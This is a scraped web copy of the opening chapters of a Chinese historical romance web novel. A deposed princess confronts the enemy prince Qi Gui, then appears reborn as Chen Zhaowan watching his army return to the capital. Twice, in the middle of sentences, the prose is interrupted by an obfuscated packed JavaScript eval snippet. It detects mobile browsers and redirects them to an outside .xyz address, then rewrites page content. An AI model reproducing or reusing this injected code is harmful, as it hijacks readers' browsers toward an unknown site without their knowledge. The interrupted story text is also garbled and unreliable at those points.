《乌栖曲》 1. 第一章 “祁归,你是在可怜我吗?” 靖晏十四年春,燕戎铁骑踏破靖朝京都,靖惠帝于城墙之上斩首,皇室百余人唯留翎阳公主流放岭南,永不得归…… 四月伊始,本该和煦的春风却化作漫天大雪,连落三日,如今将将止息。 周姁宜身上只裹了件残破的囚服,骤然大寒的天让她有些吃不消,蜷缩在铺着一层薄薄草席的墙角处,苍白的指尖不受控制地直颤。 大牢里阴冷潮湿,是滋养耗虫的好地方,它们在这里安营扎寨、泛滥成灾,时不时便会从周姁宜的身边跑过。 一向娇贵的她却是无暇再惧怕这些畜生,她连续三日滴水未进。 此刻早已饿得头昏眼花,若不是咬牙强撑着,或许耗虫已经成为她的盘中之物了。 牢房外是受刑人发出的凄厉叫声,混杂在其中的是牢门上锁链传来的轻微声响。 狱卒在一串钥匙中细数出铁锁对应的那一把,插入锁孔后开门。 周姁宜转头,一双凤眼没于如瀑的长发间,余光在狭长的眼尾流转,平静地看向来人。 后者则疾步走到她身边,抬脚在她佝偻地脊背上踢了两下,厉声喝道:“少装死,快给老子起来!” 在暗无天日的日子里,她已记不清今夕是何年何月何日。 只记得燕戎闯入平京的那日,长城的烽火绵延数千里,大靖的土地上战火纷飞。 今日是她被流放出城的日子,久违的日头晃眼一瞬,她走得歪歪斜斜,狱卒偶尔推搡她两下,口中净是些污言秽语,催促她走快些。 流放的队伍穿过大牢的甬道进入昨日最负盛名也最为富庶的朱雀大街。 从这里走过可以直通往皇城,而如今却是一番别样的景象。 烧焦的旌旗与腐烂的尸体堆积在道路两旁,身着燕戎族服饰的人正在清理,顺着尸体抬头望去书写着靖人文字的牌匾还未来得及更换,周姁宜依稀记得“酥酪斋”的杏酪蒸糕最是甜香,以前总会扮作婢女模样偷溜出宫来吃。 前几日的春日宴上,母后还特意为她备了些。 只不过……曾经习以为常的日子,现下回看就如镜花水月般难以触碰。 春日宴的盛况仍历历在目,而她的兄嫂父母却是已入黄泉。 山河寂寥,千万人的鲜血尚未沉入黄土之下,这一切的罪魁祸首却能高枕无忧地坐上那皇位。 燕戎百姓庆贺胜利的声音不绝于耳,它们如潮水般涌向大脑深处,听觉渐渐模糊,溺水的窒息感变得越来越强烈,几近将她淹没。 “等等。” 突然一道熟悉的声音在耳边炸响,周姁宜心底没由来地升起一股恨意,它犹如绳索一般把人拉出水面。 她不知道自己为什么要站住,只是呆呆地怔在原地,脚下如灌了铅般沉重。 方才还缀在手脚上叮当作响的铁链像是被来人的声音震慑住一样,全然没了声响。 她低垂着头,双目紧紧盯着地面,随着踏破残雪的声音越来越近。 不多时便看到一双马蹄出现在她的眼前。 果不其然,如她猜想地那般,此刻坐在马上的便是燕戎五皇子,她曾经最心心念念的人。 “卑职参见五皇子殿下。” 众人齐齐向马上之人下跪,为首的人更是毕恭毕敬地说道。 祁归微微颔首示意众人起身,周姁宜却感到对方的目光落在她的身上,指尖不由得微微一颤。 “见到殿下还不下跪?” 身后负责押送的官兵似乎也感受到了祁归的目光,他见周姁宜迟迟不曾有动作。 于是在她的膝弯处狠狠踢了一脚,她吃痛地闷哼一声,膝盖不受控制地朝地上跪去。 “本宫此生只跪大靖帝后,他算哪门子的殿下,须得我来跪?” 她扬起头,怒目圆瞪地看着他,恨不得将天下最恶毒的话说与他听:“也不怕折了寿。” “大靖早已为燕戎所灭,现如今入主中原的是我燕戎王上,五皇子殿下的身份可比那乌鸦帝后尊贵得多。” 说着,众人笑了起来。 他们这些低贱的武夫不知什么叫成王败寇,只道王上破了靖朝都城,靖朝的皇帝被陛下削了脑袋挂上城墙,如今便是燕戎的天下。 听着这些话,祁归倒像是全然未闻一般,他的腰身依旧挺直,只不过握着缰绳的指节隐隐泛白。 “狗仗人势。” 周姁宜言简意赅地说了四个字,纵然字字泣血,目光却分毫不离马上未曾说话的少年。 不知道是在骂那些嗤笑的官兵,还是在骂他们面无表情的皇子殿下。 “你!”官兵气极失语。 又是一脚,狠狠踹在周姁宜身上,祁归眼眸微动,眼神中似乎闪过一丝担心,但很快又变成了漠然。 周姁宜吃痛,本应在狱卒的拳脚下卑躬屈膝的她,凭着那股恨意生生稳住了身子,挺拔的腰身未有一刻让步。 “够了。”久久未说话的祁归终于开口打断了这场闹剧。 握着缰绳的手背上青筋逐渐消退,只在手心留下几道还在渗血的月牙状压痕。 他坐在马上,声音自上而下传入周姁宜耳中,清脆低沉,不过是十六七的少年,却叫人听出了与年纪不符的沉着与稳重。 祁归身着暗红色锦缎长袍,袍身上绣着精致的金色龙纹,龙纹蜿蜒盘旋,栩栩如生,袍子的袖口和领口镶有银丝滚边,细腻的刺绣花纹点缀其间,一双用金线绣着祥云纹样的黑色长靴踏在马镫上。 若不是唇色苍白,任谁都不会看出此人久病缠身。 他强行压下几声咳嗽,抬手屏退众人,周姁宜身后站着的官兵识趣地背过身去,不再看向两人。 周姁宜上下扫视着他,那是皇家独有的,只有曾站上过权力巅峰的人才会自然流露的眼神,蔑视一切。 但她的眼神与他人不同,较之多了一丝怜悯众生的意味。 “踩着尸骨向上爬的滋味可曾好受?这中原燕朝五皇子的位置可坐得安稳?” 周姁宜要笑不笑地看着他,语气里尽是讽刺,似乎是想要从对方漠然的神情中捕捉到一点忏悔的情绪。 马儿大约是听出了对主人的不满,对着跪在地上的人不住地吐气,祁归用力控制着缰绳才确保马儿不会乱跑。 他象征性地在马儿鬃毛上拍了两下,待安抚好身下的马匹,微不可察地叹了口气,翻身下马。 他走到周姁宜面前,想要伸手去拉她。 “燕戎昭昭野心,惠帝未曾察觉一番,只怪他实非明君,江山亦该换个人坐了,咳咳。” 因着咳嗽的原因,祁归虽语气上十分平静,但尾音听上去却有些许打颤,“你我立场不同,不过各有所谋罢了,没什么安不安稳的。” “好一个各有所谋!” 周姁宜没搭理祁归伸出的手,只是向着站在面前的少年身上狠狠啐了一口。 祁归热脸贴了个冷屁股,像是自觉无趣,于是收回了伸出去的手,将它掩入宽大的袖口之下。 “五皇子好口才,从前我竟未发现您是这般能说会道,一句‘各有所谋’便能为自己的所作所为,为燕戎皇室的罪行开脱。” 祁归没有说话,眼睑微垂俯视着她,微颤的睫毛在下方落下一片细碎的阴影。 他的眸中似乎闪过了一些说不清道不明的情绪,像是愧疚又像是无可奈何。 “祁归,你是在可怜我吗?” “没有。”他这才惊觉自己失态,敛了目光,说道:“抱歉。” 然而周姁宜会错了意,祁归这般轻描淡写的语气在她看来是胜利者的耀武扬威,让她怒气盛极,漆黑的瞳孔间闪过一瞬杀意。 没来得及思索,身子便动了起来,她猛然起身从祁归身旁侍卫的刀鞘中抽出利刃,朝眼前人直直刺去。 待众人反应过来时,鲜血已顺着刀槽汩汩流出,滴落在尚未洗清鲜血的地面上,与之相伴落地的是祁归袖中掉落的金乌步摇。 “哐当”一声,与过往的年少爱恋一同碎成了渣。 “祁归,我要你燕戎全族日夜忏悔,为死在燕戎刀下的英魂请罪!” 周姁宜低声轻语,犹如地府索命的恶鬼。 江水泱泱难平我三千余恨,终有一天,我会杀回这里,要你燕戎血债血偿! 霎那间,周遭的事物不再流转,时间停驻在此刻,耳边只剩下利刃和血肉摩擦的声音。 她仿佛又看到了那夜燕戎在平京城内喊杀声震天的场面,冲天的火光映亮了星汉,此起彼伏的惨叫声混杂着迸溅出的鲜血,刺激着所有人的感官。 燕戎无差别的屠杀成了大靖无法洗去的耻辱。 随着利刃没入胸口,鲜血汩汩流出汇成河流,顺着白骨堆积的大靖土地流入荒原尽头,血色的落日下瀑布飞流,汇入忘川河中,堆积出怨念深重的阴曹地府。 周姁宜的手不住地颤抖。 祁归微微皱眉,面容逐渐扭曲、消失。 一切都来得太快。 婴儿的啼哭声,白刀子进红刀子出的血肉摩擦声以及人们的惨叫一齐向她涌来,渐渐淹没了她的耳膜,濒死的快感充斥在四肢百骸。 她拼命地挣扎,拼命地想从夜夜白骨的梦魇中脱离。 幼时见过的大靖军旗模糊不清,她努力地追赶,想要抓住那面旗帜,想要看清楚那面旗帜,想要证明这只是一场梦,大靖还在,那时的父皇母后皇兄皇嫂尚且能够庇护她。 然而当她要抓住的时候,耳边骤然响起刺耳的轰鸣声。 眼前的一切迅速倒退,大靖军旗消失不见,取而代之的是方才对峙的场面。 只不过这次不再是祁归,而是她的父皇。 她看见他笑着抚摸自己,似梦似幻地场面令她头皮发麻。 她的手里紧紧握着的钗子正插在靖惠帝的胸口,鲜血在她的手掌中蔓延开来。 周姁宜大叫着后退,手中紧握的钗子依然停留在对方的身上,鲜血仍止不住地流,她恐惧地望着自己沾满鲜血的双手。 下一刻靖惠帝的肢体解离,头颅挂在平京高耸的城门上,唯有一轮圆月相伴。 转朱阁,低绮户,照无眠。[1] 月光嵌于雕花梨木窗之中,屋内的陈设借着月光一览无余,乌紫檀雕落花流水纹架子床中,身着亵衣的少女猛地惊醒。 惊恐的眼神和剧烈起伏的胸膛昭示着她方才所经历的噩梦。 空旷的房间内落针可闻,只余下轻微且急促的呼吸声,陈昭绾的意识慢慢回归现实,心下也平静了几分。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509717|170566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梦中的世界如同真实发生在眼前一般,不知是否是恐惧作祟,她的眼眶无知无觉地落下了几滴泪。 随后她定了定神,走下榻。 脚步极轻地穿过大半的房间,来到闺房角落处,那里赫然横置着一把簪缨长枪。 陈昭绾修长的指尖轻抚上长枪,枪杆尽处靠近枪头的地方凹凸不平,细细看去,原是那处用小篆体刻着一个“绾”字。 她伸手拿起那杆长枪,头也不回地朝院子走去。 陈昭绾所在的这座院子名叫落霞苑,坐落于赤申府的西院,虽位置上偏了点但胜在安静,平时鲜少有人来打扰。 院中月光皎皎如月盘,夜鸮声声如幼儿啼哭。 少女身姿挺拔,亭亭玉立于院中,手中长枪挥舞,红如烈火的枪缨迎风而动,枪尖在空中划出一道弧线。 强烈地劲风将窗台之上的树梢倒影逼得连连晃动。 眼看着就要将院中新栽的梅花打落,少女手上用力,忽地一下收回了马上就要砍下去的力道,枪尖堪堪停在树杈一指宽的地方。 初春时节未落的梅花竟是被吓得“花容失色”,垂落了几瓣,落入泥土中滋养更多新生的花草。 少女的目光直勾勾地盯着梅花落在尘埃里,神情中未有丝毫怜香惜玉的表情。 她手上用力,枪尖在地上划了个来回,长枪重新回到她的身边。 仅仅几个动作,少女做得干脆利落,没有任何拖泥带水地多余动作。 但也并非毫无缺点,她看似掌握了长枪的诀窍,却用得十分生疏,像是刚刚修习长枪之人,平常人会犯的错误她都有。 停顿片刻,陈昭绾身后的天际线稍稍露出了些鱼肚白。 她用余光瞥了眼太阳升起的方向,一眼便能看到不远处皇家宫殿的屋檐。 乌鸦停驻盘旋其上,妄想用微小的身躯去遮挡太阳。 院子外隐隐约约有了些响动,约莫着到了早朝的时辰。 身形微动,手上用力握紧了长枪,手腕翻转,枪杆以迅雷不及掩耳之势向东方刺去,脚下步伐矫健,枪影如飞瀑流泉。 翩若惊鸿,婉若游龙。[2] 动作之快险些刺伤突然出现的婢女。 海棠早已对这个场面见怪不怪,当即抓住小荷的肩膀后撤两步,与陈昭绾收枪的动作几乎是同时完成。 幸得及时,小荷才免于这场血光之灾。 海棠叹了口气,轻声问道:“姑娘可是又遇梦魇了?那些自是假的,姑娘不必当真。” “嗯。” “姑娘想得开就好,瞧这院外天寒露重,还是快些进屋地好,小心再伤了身子。”说罢,海棠像个没事人似的端着双鱼纹铜盆走上前去。 海棠本是陈夫人的陪嫁丫鬟,自小跟在陈夫人身边长大,打从陈昭绾被陈夫人捡回来起,她便被安排到落霞苑,做陈昭绾的贴身丫鬟。 一年的时间里,陈昭绾再难捉摸的脾性,她也摸了个透。 陈昭绾身子不好,夜半惊醒是常有的事,每当梦魇之后她就会一个人在院子里舞刀弄枪。 虽说如今已是仲春时节,清晨难免露重,陈昭绾穿得单薄,海棠才忍不住埋怨两句。 “要是姑娘病了,夫人怪罪下来,海棠可担待不起。”她嗔怪道,语气却像是在打趣。 “不会的。”陈昭绾收了手里的兵器,淡淡地说道。 然而身体却如抗议一般忍不住咳嗽起来。 “姑娘这身子看来还是没好利索,不如今日再请大夫来瞧瞧?” 海棠急忙将手里的面盆交给身后的小荷,快步走上前去搀扶陈昭绾。 后者抬手拒绝了海棠的搀扶,转头问小荷道:“没吓到你吧?” 方才没有过多注意,如今细细看来,小荷的小脸竟是被吓得煞白,较之昨晚的月亮也有过之而无不及。 小荷像是还未从惊吓中缓和,她呆愣地摇摇头。 陈昭绾敛了神色走进屋内。 海棠跟在陈昭绾身后想要进屋,却被小荷扯住了衣角。 “海棠姐姐……”小荷指尖颤抖,小心翼翼地说道。 她初来赤申府没几日,对主子的脾性各方面还不甚了解,做事总是小心翼翼的,今日陈昭绾这一枪更是给人吓得不轻。 普通姑娘家的,谁见过这样的阵仗? “何事?”海棠听到有人叫她,于是顿住了脚步。 “姑娘她……” “姑娘人很好的,你不必担心。” “可是我听说……姑娘并非赤申家人,乃是前朝威武大将军之女、老爷内侄,前些年在战场上受了刺激才成如今这副样子,她们还说……姑娘是见过死人的,是阴曹地府爬出来的……” 小荷越说越害怕,心下一想到陈昭绾那一板一眼地真把式,她就忍不住地担心。 “嘘!”海棠严厉制止了小荷接下来的话,她把自己的手从小荷那里抽出来,说道:“咱们都是被夫人安排进姑娘这里的,是来照顾姑娘的,那便是姑娘的人,做好分内的事,其余的莫要打听!” “海棠,今日我想去给夫人问安,小荷你也快些进来。”陈昭绾打断了海棠的话。 府中人的议论她不是没有听过,只是不想去管那些流言蜚语罢了。 2. 第二章 “母亲!母亲!” 日头升至半空,万物都从夜晚的寂静中苏醒,两声清亮的“母亲“打破了枝头的清晨四重奏。 只见一名身着霁青色绸缎对襟襦裙的少女跨过一道道门槛跑进来。 裙摆随着步子微微晃动,短襦的袖口和衣摆处用金色的丝线绣着一些灵动的蝴蝶图案,下衣裙摆处点缀着些许杏花纹样,轻薄的纱裙让整个人显得灵动起来。 话音渐渐落下,少女也轻轻抬脚跨过了最后一道门槛,步入堂屋之内。 赤申府人丁稀少,阖府上下不过六七十人。 老爷夫人感情甚笃,家中只有陈夫人一位正妻,过门多年赤申琅从未再纳过小妾。 陈夫人育有一子一女,赤申松鹤深得父亲真传,年纪轻轻便入了仕途。 而眼前这位便是赤申府中的千金小姐——赤申惊鹊。 陈昭绾来之前家中仅她一位姑娘,自然是千娇百宠着长大,娇嫩着呢。 “哎呦,我的二姑娘啊,您可轻点声。” 常跟在陈夫人身边的连嬷嬷听到赤申惊鹊的声音,急忙快步从里屋走出来制止她。 “嬷嬷,母亲可起了?是的话麻烦嬷嬷帮我带句话,说我来给母亲请安了。” 赤申惊鹊没有回答连嬷嬷的话,她神情倨傲地说道。 “二姑娘来得不巧,夫人今早说身子不大爽利,叫老奴带话给二位姑娘不用来问安了,瞧这不还没来得及说,姑娘便过来了。” “母亲不舒服?她怎么了?我还想着今日城中热闹,带母亲去街上逛逛呢,既然母亲身子不适那我先回去了。” “二姑娘留步,”赤申惊鹊转身要走,连嬷嬷开口叫住了她:“虽说不用问安,但夫人还是吩咐小厨房为二位姑娘做了吃食,老奴还说待会给二位姑娘送去,如今正巧,二姑娘若是不嫌弃可稍等片刻,待大姑娘来了,二位一同用过早食再走罢,说不定大姑娘愿意陪您到街上逛逛呢。” “你说谁?” 赤申惊鹊听到连嬷嬷的话立刻警觉起来,像吃了炮仗一样瞬间炸开。 府中上至夫人身边的大嬷嬷,下至看门的小厮,谁人不知谁人不晓这大姑娘与二姑娘不合久矣。 如今连嬷嬷敢说出这番话,必定是受了陈夫人的意。 赤申惊鹊向来看不惯陈昭绾那副高高在上的姿态,整天摆着副哭丧脸也就算了。 但这战场上捡回来的腌臜乞儿不知给母亲喂了什么迷魂汤,父亲母亲竟是全都事事依着她来,自从她来了这府上,赤申惊鹤往日受到的宠爱便都被她分去了一杯羹。 到这里总是不禁要问:凭什么?凭什么她什么都不用做就能得到所有人的宠爱?所有人都说她陈昭绾可怜,要待她好。 可赤申惊鹊从来不明白为何要待她一个素不相识的人好? 这天下可怜人多了去了,难道要她人人都这般对待吗? 越想越气,嫉妒的话语更是脱口而出:“那个闷瓶子的靖人?我说母亲今日怎的如此细心,原是因着她来,真不知道一个来历不明的孤儿缘何让全家上下这么对她!母亲真是糊涂!” “姑娘若是还记得夫人是靖朝人,便不会说出这番话。”声音犹如古琴悠扬的余韵,好听则是好听,却带着说不出的沉闷。 赤申惊鹊回头看去,说话之人正立于门外,一双凤眼静静望向她,明明没有丝毫波澜,却无故让人产生一种被洞穿心底最深处秘密的恐惧感。 气势没由来地弱了下去,赤申惊鹊自觉移开视线,不想承认自己率先败下阵来。 于是她重新抬头,对着连嬷嬷说道:“连嬷嬷,我先回自己院子了,你叫母亲多休息,我改日再来看望。” 说罢,想要逃跑。 望见陈昭绾站在门边迟迟没有动作,她不想和对方遇上,便绕道木门的另一边打算溜之大吉。 没想到陈昭绾再次开口,好意提醒道:“夫人今日特意吩咐厨房做了芙蓉莲子羹,姑娘留下来吃一口吧。” 虽然她也不是很想和赤申惊鹊这个小纨绔一起用早饭,但陈夫人一片心意,辜负了怕是不好。 赤申惊鹊抬起的脚在听到“芙蓉莲子羹”时默默放回原地,转身走到桌边乖乖坐下。 她白了陈昭绾一眼,说道:“就你知道得多,还不快过来吃饭,羹汤凉了要你好看。” 说着便作势举起拳头在陈昭绾面前晃了晃。 然而对方并没有被她这虚张声势的恐吓吓到,反而轻笑一声,走过去坐到了她身边。 这顿饭赤申惊鹊吃得着急,随意夹了两筷子送到嘴里,就着婢女为她盛的莲子羹吃了个干净。 全然不顾陈夫人平日教导她保持的大家闺秀形象,与细嚼慢咽的陈昭绾形成鲜明对比。 “姑娘慢些吃,多着呢。”连嬷嬷看着赤申惊鹤的吃相,不忍直视。 待到她吃完最后一口饭,连嬷嬷继续问道:“二姑娘可还要再盛些?” 赤申惊鹊摆摆手,艰难地咽下嘴里的食物,说道:“不了嬷嬷,我得走了。今日定北军回城,再晚就赶不及了。” 定北军,燕朝威名在外的三军之一,常年驻扎在北境边疆地带,曾在与匈奴大军的对峙中坑杀敌方十万士兵,斩获副将头颅。 其主将为定北大将军——莫止。 陈昭绾心头一紧,脑海中闪过断断续续的回忆。 碧色苍穹下,两军厮杀,燕戎军中陡然冲出一个身起大马、手握长刀、威武雄壮的男人。 他挑衅地看着靖朝太子,用燕戎语叽里呱啦地说了两句话,虽然听不懂是什么,但从表情上看也能猜出大致,定是些不堪入耳的言语。 莫止□□着将话说完,靖朝太子却勃然大怒,挥起长剑就要朝他刺去,被对方长刀一横挡了回去,几番过招下竟是直接将人捅了个对穿。 战场上,没人会手下留情,两军对战,唯有生死。 没人知道一向好言的太子为何会暴怒。 在那之后,人们只说太子妃因伤心过度而自缢,一尸两命…… 燕戎入主中原不过一岁有余,国主好战,一年来烽火不断,燕戎铁骑北征匈奴,西战大月,疆域版图亦是越拓越宽。 开春以来京中传言愈盛,北境战事将消,圣上又有意与大月议和,苦于连年战事的百姓眼看着能得到片刻喘息,喜不自胜。 燕戎传统,每当战事胜利班师回朝,百姓们就会自发地站在城门两侧,夹道欢迎军队入城。 今年大抵是因着传言的缘故,欢迎的队伍较之往年更加壮大。 “想不到姑娘也会想着出来瞧瞧。” 陈昭绾这一年里总是喜欢待在自己的小院里,大门不出二门不迈,海棠生怕她闷出病来。 如今她主动提出到街上逛逛,海棠自是开心的:“姑娘若是再待在那院子里整日看书舞枪,我看啊,今年的春草就要长到姑娘头上了。” 兴许是被街上热闹的气氛感染,海棠忍不住玩笑道。 陈昭绾没有反驳她,跟着浅笑两声。 “说不定姑娘是想见见五殿下呢。”小荷接话道。 “五殿下?”三人随着拥挤的人群朝前走去,陈昭绾听到这个熟悉的名号不禁皱眉问道,“五皇子祁归?” “姑娘!”海棠出言阻止道,“五殿下的名讳切莫再提,怕让有心人听去就糟了。” 陈昭绾没有回话。 她抿着唇向路中央看去,纤瘦的身影困在人潮中进退两难。 回朝的军队尚未达到,皇帝派出的欢迎使臣早已列队做好了相迎的准备,百姓的热情愈发高涨,欢呼声灼烧着耳膜。 大约是人处在激动的情绪下时,言语便会变得格外密集。 两个男人站在陈昭绾身后高谈阔论着国事。 她本是无意理会的,无非就是立储之争,还有当下燕戎人与靖人的关系如何如何罢了。 然而两名男子的争论随着百姓情绪的高涨变得愈发激烈起来。 直到那句“祁归不过是燕戎与靖人混血的杂种罢了,身体里流着的还是靖人卑贱软弱地血脉。”从其中一名男子口中脱口而出。 陈昭绾垂落在身侧的手心微动,紧紧握成拳,在听到“靖人卑贱软弱”时她恨不得一拳将人打到在地。 才不是,她的亲人、百姓才不似燕戎人口中那般卑贱软弱! 正当她血气上涌时,城门轰然打开,铁蹄声碾碎了所有嘈杂。 陈昭绾抬头看去,为首的是一名身形颀长的少年,他腰杆笔直地坐在马上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509718|170566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腰身随着马背的起伏而微微晃动。 她握成拳的手稍稍松开了些,随着队伍逐渐走入城中,陈昭绾看到少年的身旁跟着另外一匹马,马上男人的身型与少年的截然相反。 一身泛着银光的盔甲下是武夫的勇莽,腱子肉藏于甲片之下,却无法让人忽视那壮硕的身躯,他的右眼下方留着一处刀疤,兴许常年征战沙场的缘故,周身笼罩着一股煞气。 若是不知情地人瞧见,定会想此人一下便能撂倒十个身边的少年。 然而在少年勒缰的瞬间,众人莫名觉得男人的气势反倒矮了半分,少年身下的骏马温顺地停在方才口出狂言的男人面前。 身后侍卫的玄甲泛着冷光,严肃的军纪下无一人敢出声,全都严阵以待,肃清的氛围叫人不寒而栗。 少年眸中杀意尽显,开口问道:“将你方才的话再说一遍。” 男子自觉说错了话,全然没了一刻钟前的神气,他抖若筛糠跪倒在地,嘴里愣是发不出一点声音。 只听少年轻笑一声,腕间不知何时多了一把嗜血长刀,再看身旁莫止的刀鞘已空,他腕间翻动武器便朝着男人直直飞去。 “找死。” 少年的声音平静无波,不像是要杀人的,倒像是在说什么供人取乐的笑话。 而与少年的声音形成对比的,是海棠的惊呼。 正因陈昭绾立于男人的侧前方,从海棠的方向看去,那刀仿佛就是冲着她家姑娘飞去的。 “姑娘!” 只那一刹那间,海棠瞳孔骤缩,伴着一声清脆的碎玉声响传入陈昭绾耳道中。 后者却是未躲未避,任由长刀划破空气,劲风撩起几缕残发,与她的面颊擦过,留下一道伤口,最终削断发间玉簪。 随着玉簪溅落青砖的脆响,刀锋穿透身后男子的咽喉将人稳稳钉于墙上。 “当街议论国事此为一罪,妄议皇子罪加一等。”少年身旁侍卫的声音沉稳有力,带着少年所默许的皇家威严,定下男子所犯的罪名,桩桩件件不容置疑。 鲜血从男人的喉管中喷溅而出,染红了陈昭绾的素色衣裳,在场的百姓看到这个场面全都倒吸一口凉气,庆幸方才口无遮拦的并非自己。 “姑娘可吓死我了。” 陈昭绾俯身捡起在地上碎成三段的玉簪,指尖抚过锋利的断面,还未来得及反应便听到海棠的颤抖的声音在她上方响起。 她抬头去看,竟看见海棠眼眶下似有泪水在打转,不由得微微一怔,安慰道:“不妨事。” “哪里不妨事了?姑娘总是这样轻描淡写的!瞧着脸上都渗血了,怕是疼坏了吧!”海棠焦急地说道。 经由海棠这么一说,陈昭绾才发觉自己脸上多出了一道伤口,她抬手去触碰,不大不小竟也没察觉到疼。 她不想让海棠着急,便慌着提起了别的话头:“海棠,我有些乏了,我们寻个茶楼歇歇吧。” “可是姑娘的衣服……”小荷犹豫地说道。 “待会儿再说吧。”陈昭绾毫不在意地低头看了眼身上的血迹,紧接着目光掠过海棠看向人群中心的祁归,轻声说道。 此刻,人群重新恢复了军队入城时的热闹,大家随着军队往皇城的方向走去,少年坐于马上巍然不动,与多年前那个仓皇无措的燕戎质子判若两人,如今的他已经有了权势,上位者的气息压得人喘不过气来。 少年似乎有所察觉,在陈昭绾看向他的那一瞬间,祁归也望向了这边。 于人潮中,相隔四年,二人再次对望。 身份俨然调换。 仅是一秒,陈昭绾移开目光,没有看到少年脸上一闪而过的惊诧表情。 仿佛那一刻,被谏官痛骂“皇室走狗”,以心狠手辣著称,即使在朝堂上也能游刃有余地凭一己之力反驳数十言官的五皇子殿下失态了。 太像了…… 是她回来了吗? 只是祁归来不及多想,出神间一名刺客不知从何处跃然而起,手中的剑尖直指祁归身旁的莫止。 “保护将军!”祁归决然下令,手握剑弩连发两支射中黑衣人的右肩与膝盖,其余人一拥而上。 打斗中陈昭绾脚步未停,清扬的发丝抚过烈日,随海棠和小荷一同消失在人群之中。 3. 第三章 因着今日军队回朝,大街小巷站满了人,海棠她们寻遍整条街才找到一家能歇脚的茶楼。 店面临街,有上下二层,店家将铺面布置得极其雅致,陈昭绾步入时一股淡淡的茶叶香气扑面而来。 看得出店家平日里便喜欢摆弄些细致玩意儿,不管厅堂雅间都摆满了花草,也正因如此,茶楼相较于其它家少了许多散客。 大多数燕戎人性子粗犷,不喜中原人那煮酒烹茶、吟诗作赋的造作姿态。 因此茶楼在燕朝入主中原后便成了平京城内最落寞的生意,一开始还有些文人雅士作客。 随着燕戎国主对靖人的大肆欺压以及各族间等级歧视愈发严重,靖人也便再没了吟诗作赋的闲情逸致。 取而代之的是不时路过讨一碗茶水吃的民间百姓,它们不识片甲,揽过茶碗一口下肚便离开了。 而这间茶楼是少有的不仅雅致还能够在平京内存活的店面。 看来做的是王侯将相的生意。 陈昭绾向小二要了个雅间,三人在对方的指引下轻步走上二楼。 雅间临窗,推开能将窗外的街景一览无余,而另一边则是茶楼二楼的走廊,四面的房间围成方形,中间镂空。 站在木栏边向下望,说书先生坐于堂上,惊堂木一拍,说得正尽兴,堂下看客也听得认真。 陈昭绾在雅间内坐定,为自己斟上一杯茶,撇去浮沫,将杯沿轻轻递至嘴边,还未来得及浅尝便见一人猛然推开雅间的门。 一名浑身浴血的男人出现在门外,他神情慌张,似乎在躲避什么人,脚下的步伐踉跄,看起来受了很重的伤。 陈昭绾微微一怔,手中的茶杯悬在半空,茶水泛起的涟漪久久未能平复。 “你是何人?!” 海棠瞬间警惕起来,她上前一步横档在陈昭绾身前,将她与男人隔绝开来。 小荷年岁尚小,一下子见到这样的场面显得稍许慌张,她想要尖叫却像是想到什么似的,掩嘴向后退了两步,挪到海棠和陈昭绾身后。 男人捂着胸口咳嗽两声,嘴角溢出血沫,他紧皱着眉头像楼下看了一眼,嗓音沙哑地开口说道:“姑娘莫怕,在下并非有意闯入,只是……姑娘可否收留在下片刻?” “你当我家姑娘是何人?如今与公子孤男寡女共处一室,日后若是传出,我家姑娘名声可还要得?!”海棠声量陡然提高了许多。 她上下打量着此人,眼前这人身份不明,又浑身是血,若是收留了他怕是要惹些麻烦上身。 “海棠。”陈昭绾不紧不慢地喝了口热茶,打断了海棠的话,她抬头细细打量着来人。 那人一身黑色劲装,银质的面具遮住面部五官,透过露出的那双眼睛,能够看到他深不见底的黑色瞳孔,那是靖人血脉的象征。 燕戎种族鲜少有这般黑的颜色,或多或少都掺杂些金色,更多的是那琥珀色的瞳孔。 再看这人身量,更是不似燕戎人那般高达威武,甚至可以称得上瘦弱,如同女子一般…… 靖人? 陈昭绾心底不禁升起些疑惑,却在听到玄铁铠甲的碰撞声时通通消了下去。 “公子可进来说话。”陈昭绾说道。 “多谢姑娘。”那人拱手向陈昭绾行了一礼,轻手轻脚地走进房间,顺手带上了门。 “姑娘,万万不可!”海棠说道,门外这人让她隐约感到不安,她不能眼见着姑娘踏入危险而不管不顾,“姑娘可还记得方才街上有歹人行刺,万一……” “嘘!”陈昭绾打断了海棠的话,楼下的声音变得愈发清晰。 “让开!”手握佩刀的侍卫厉声一喝,将挡在他身前的人用力推开,为后来的人让出一条路。 只见一身着紫色蟒袍的少年在众多玄铁士兵的包围下出现在茶楼众多散客面前,脚下的云纹靴踩在木质地板上,悄无声息。 那人缓缓踱步于正堂中间,随意找了个椅子坐下,轻启薄唇说道:“叫你们店家出来。” 说书先生见状不妙急忙卷了他的一系列物件俯身绕到堂后准备逃跑。 祁归轻轻拿起身旁的茶杯在手里颠了颠,随后便有了和街上的那把佩刀一样的命运。 以迅雷不及掩耳之势自祁归手中飞了出去,在说书先生面前的屏风上碎裂开来,溅起的瓷片将人吓得瞪大了眼睛,瘫倒在地上。 “来人!将店给我围好了,一个苍蝇都不许放出去!” 祁归命令道,声音不大,明明没有什么独特的地方,却能让底下那些五大三粗的士兵乖乖照做。 银甲相撞的动静之大自然是惊动了二楼的顾客。 陈昭绾与海棠对视一眼,打开雅间临街窗子向外看去,整个茶楼都被围得如铁桶一般。 “海棠,出去瞧瞧。” 陈昭绾关上窗子,拍了拍手上不存在的灰,说道。 